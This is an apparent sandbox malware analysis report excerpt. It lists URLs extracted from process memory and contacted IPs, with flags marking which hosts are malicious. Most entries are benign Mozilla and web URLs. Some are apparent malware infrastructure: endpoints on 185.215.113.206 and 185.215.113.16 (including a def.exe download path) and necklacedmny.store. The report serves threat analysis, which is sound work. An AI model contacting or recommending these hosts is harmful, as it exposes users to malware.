https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001E.00000002.3158958475.0000023D45585000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.leboncoin.fr/	firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/ws	7a5878ed96.exe, 0000000A.00000002.2913077883.00000000010A8000.00000004.00000020.00020000.00000000.sdmp, 7a5878ed96.exe, 0000001F.00000002.3175826524.0000000001253000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://static.adsafeprotected.com/firefox-etp-jsopenIDB/	firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://screenshots.firefox.com	firefox.exe, 0000001A.00000002.3186609548.000002592FAB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://completion.amazon.com/search/complete?q=	firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995425549.0000025933800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995881145.0000025933A38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2996104229.0000025933A53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995647745.0000025933A1D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/breach-details/	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/w3c/csswg-drafts/issues/4650	firefox.exe, 0000001A.00000003.3072690944.000002593B88E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001A.00000002.3188027583.000002592FB27000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995881145.0000025933A38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2996104229.0000025933A53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995647745.0000025933A1D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001A.00000003.2996313213.0000025933A6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995425549.0000025933800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995881145.0000025933A38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2996104229.0000025933A53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995647745.0000025933A1D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/sets	firefox.exe, 0000001A.00000002.3181290798.000002592F026000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://youtube.com/	firefox.exe, 0000001A.00000003.3153782991.000002593D8DE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.accounts.firefox.com/v1	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/common	firefox.exe, 0000001A.00000002.3181290798.000002592F026000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ok.ru/	firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/	firefox.exe, 0000001A.00000002.3181290798.000002592F054000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://fpn.firefox.com	firefox.exe, 0000001A.00000002.3176703968.0000025923991000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.widevine.com/	firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2114591297.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114812044.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114537427.000000000616B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820701412.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820622416.0000000005C86000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2821001734.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938700152.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2939218924.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938814641.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3051345571.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/dates-and-times	firefox.exe, 0000001A.00000002.3181290798.000002592F061000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://mail.yahoo.co.jp/compose/?To=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2141877080.000000000614B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2848125428.0000000005D4D000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2977694380.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3125926570.0000000005E79000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001A.00000002.3185612064.000002592F67D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2114591297.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114812044.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114537427.000000000616B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820701412.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820622416.0000000005C86000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2821001734.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938700152.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2939218924.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938814641.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3051345571.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/	firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3181290798.000002592F054000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3158958475.0000023D45503000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.inbox.lv/rfc2368/?value=%shandlerSvc	firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.iqiyi.com/AND	firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001E.00000002.3158958475.0000023D455C6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1:	firefox.exe, 0000001A.00000002.3176703968.000002592395D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://bugzilla.mo	firefox.exe, 0000001A.00000003.3090406291.0000025934B81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apiEp1h	c1b0009d40.exe, 0000000B.00000003.3046266365.00000000011B1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php3.	num.exe, 0000001D.00000002.3041700292.000000000114E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1238180Required	firefox.exe, 0000001A.00000002.3188027583.000002592FBAD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/policies/privacy/media.gmp-manager.cert.requireBuiltInresource://gre/modules/	firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	firefox.exe, 0000001A.00000002.3181290798.000002592F0AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3161526093.0000021CD9AC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3158958475.0000023D455E8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.mozilla.com/v1Script	firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	firefox.exe, 0000001A.00000002.3181290798.000002592F0AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3161526093.0000021CD9AC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3158958475.0000023D455E8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://email.seznam.cz/newMessageScreen?mailto=%sbrowser.download.viewableInternally.typeWasRegiste	firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, file.exe, 00000000.00000003.2281042245.0000000006127000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/	firefox.exe, 0000001E.00000002.3158958475.0000023D45512000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.iqiyi.com/	firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://youtube.com/account?=https://accounts.google.co	firefox.exe, 0000001E.00000002.3162203644.0000023D456F0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://exslt.org/strings	firefox.exe, 0000001A.00000002.3176703968.0000025923903000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000001A.00000003.3072690944.000002593B88E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://a9.com/-/spec/opensearch/1.0/	firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 0000001E.00000002.3158958475.0000023D455E8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.rs/getrandom#nodejs-es-module-support	7a5878ed96.exe, 0000000A.00000003.2870739086.0000000004DEB000.00000004.00001000.00020000.00000000.sdmp, 7a5878ed96.exe, 0000000A.00000002.2911715801.00000000005EC000.00000040.00000001.01000000.0000000F.sdmp, num.exe, 0000001D.00000000.3018577142.00000000001BC000.00000008.00000001.01000000.00000017.sdmp, 7a5878ed96.exe, 0000001F.00000003.3079747725.000000000502B000.00000004.00001000.00020000.00000000.sdmp, 7a5878ed96.exe, 0000001F.00000002.3169928437.00000000005EC000.00000040.00000001.01000000.0000000F.sdmp, num[1].exe.8.dr	false	URL Reputation: safe	unknown
https://monitor.firefox.com/user/dashboard	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?versio	c1b0009d40.exe, 00000009.00000003.2893540580.000000000134C000.00000004.00000020.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2877011760.000000000134C000.00000004.00000020.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2889639076.000000000134C000.00000004.00000020.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2906776140.000000000134C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/G	file.exe, 00000000.00000003.2280639357.0000000001680000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/about	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/MPL/2.0/.	firefox.exe, 0000001A.00000003.3072690944.000002593B88E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3023968614.0000025933E8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3017245931.0000025933EF1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3023968614.0000025933EF1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3153782991.000002593D887000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3015518419.0000025933EF1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3152376334.00000259331EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3183561232.000002592F1DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3017245931.0000025933E8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3125338217.0000025933E8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3023968614.0000025933E76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3125338217.0000025933E76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3141387897.0000025933EF1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3141387897.0000025933E8C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.openh264.org/	firefox.exe, 0000001A.00000002.3188027583.000002592FBAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3183561232.000002592F1DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://coverage.mozilla.org	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.zhihu.com/	firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2141877080.000000000614B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2848125428.0000000005D4D000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2977694380.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3125926570.0000000005E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3153782991.000002593D887000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2141877080.000000000614B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2848125428.0000000005D4D000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2977694380.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3125926570.0000000005E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3153782991.000002593D887000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://a9.com/-/spec/opensearch/1.1/	firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 0000001A.00000003.3061871345.000002593B92B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206y_	7a5878ed96.exe, 0000000A.00000002.2913077883.000000000104E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://blocked.cdn.mozilla.net/	firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.185.206	youtube.com	United States	15169	GOOGLEUS	false
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.243.93	push.services.mozilla.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
188.114.96.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
